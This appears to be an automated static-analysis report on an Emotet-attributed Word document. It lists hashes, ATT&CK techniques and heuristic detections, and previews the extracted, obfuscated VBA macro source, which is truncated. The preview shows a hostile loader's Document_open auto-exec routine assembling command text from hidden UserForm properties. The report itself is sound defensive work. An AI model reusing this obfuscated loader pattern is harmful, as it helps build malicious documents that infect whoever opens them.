Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d75e32a99a3b2198…

MALICIOUS

Office (OLE)

185.9 KB Created: 2019-12-17 14:07:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 41ae84b350cd26488ce141e6f56e74ff SHA-1: cd57f355854de432fd1abd0162c968b75441a660 SHA-256: d75e32a99a3b21982cb5cb7e4ed70d5b22bdc484bd0df2c90fa50eb6f1c3fc53
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open macro designed to execute a hidden UserForm command stager. This stager is indicative of a downloader, likely Emotet, which is known to use such techniques to fetch and execute further malicious payloads. The ClamAV signature further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9755 bytes
SHA-256: 7e90d1e1c9536a5bf3b56172ddc7744561a1646cf369ca0ce6d45100722504b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Qjfslhqzladsb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Mttvvfwagy, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Ydctiqzs = Ttyjqszkztyta To Allbuudiwqn
         Dhgcodza = Imirbofecxf
         Orhdplbtc = Hsnvfxfnnxcpm
Next
Select Case Urllqwuc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Vwculpwmvq = Xxzyqinrty To Myblgopqr
         Barcfnlx = Nkztvohg
         Whvhnnkghbj = Wyyyfidia
Next
Select Case Zobrkzhjo
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Cmqeanowhxnnr = Pfmzmquavt To Mekhtgrtvxj
         Qobmffto = Xpmtiimv
         Abrwpuhz = Swkxvbsnpoe
Next
Select Case Cnrgmjkicy
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Slooaznlyfk
End Sub

Attribute VB_Name = "Yjfpjrenewh"
Attribute VB_Base = "0{FF1F056E-18BA-498D-AABE-88108C712DB1}{A55D794A-2B20-4AA7-97AE-CCE3CE2EF264}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Hbkrihtefre"
Function Wvwtsnin()
   For Jvsvjvgyss = Hiqyjrvycu To Vozhjynyzqila
         Zkciprvfsb = Tdgkptwzuwy
         Fklraeybgvoz = Fajgglktvtf
Next
Select Case Eiqdlnnjhjns
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Qhpgecighphd = Qjfslhqzladsb.Mttvvfwagy
   For Jleibvgfz = Affhzmvk To Cnmmsrqqblti
         Mkgxkvohyy = Gycduhrmhx
         Jdqoyhjsewvpf = Nfvpnggl
Next
Select Case Xqlqocprkng
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xtznqwedj = Qhpgecighphd + Yjfpjrenewh.Bbfufkybe + Yjfpjrenewh.Cmhcshyxglu + Yjfpjrenewh.Ibeqmxhp
   For Xlbaeahfy = Hnolwkqoi To Gwgyvzeewvikb
         Kiwrtjxr = Wngldczn
         Ftgfhatll = Nhuzhrqx
Next
Select Case Ejwylytstj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Opjcwhmrros = Xtznqwedj + Yjfpjrenewh.Hpvfbtjvnayic + Yjfpjrenewh.Sfxfcqnjlhap
   For Bmhycxmrqq = Jpzldcblqtnje To Epfydeyyu
         Tjhsxawwf = Owkcgtizxtts
         Krqrkqfv = Rdyvmnidmk
Next
Select Case Obyfquslzq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * C
... (truncated)

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